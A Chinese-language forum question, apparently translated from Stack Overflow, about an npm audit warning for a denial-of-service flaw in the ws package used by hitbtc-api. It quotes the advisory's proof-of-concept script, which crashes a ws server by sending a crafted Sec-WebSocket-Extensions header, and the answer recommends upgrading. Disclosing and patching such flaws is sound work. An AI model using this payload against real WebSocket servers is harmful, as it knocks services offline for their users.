NPM安装,npm审计中的hitbtc-api节点包中发现的漏洞

时间:2018-05-27 17:40:47

标签: node.js npm

我为Node.js安装了HitBTC API包装器 Hitbtc node package, 在npm audit我收到以下错误:

      High            Denial of Service

      Package         ws

      Patched in      >= 1.1.5 <2.0.0 || >=3.3.1

      Dependency of   hitbtc-api

      Path            hitbtc-api > ws

      More info       https://nodesecurity.io/advisories/550


    [!] 1 vulnerability found - Packages audited: 259 (0 dev, 12 optional)
        Severity: 1 High

在进一步调查中,我对此错误进行了以下概述:

概述 当发送包含ws属性名称作为扩展名或参数名的特制Sec-WebSocket-Extensions标头时,受影响的Object.prototype版本可能会崩溃。

概念证明

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

修复 更新至3.3.1或更高版本。

需要解决此问题。

1 个答案:

答案 0 :(得分:0)

为什么不更新到3.3.1或更高版本?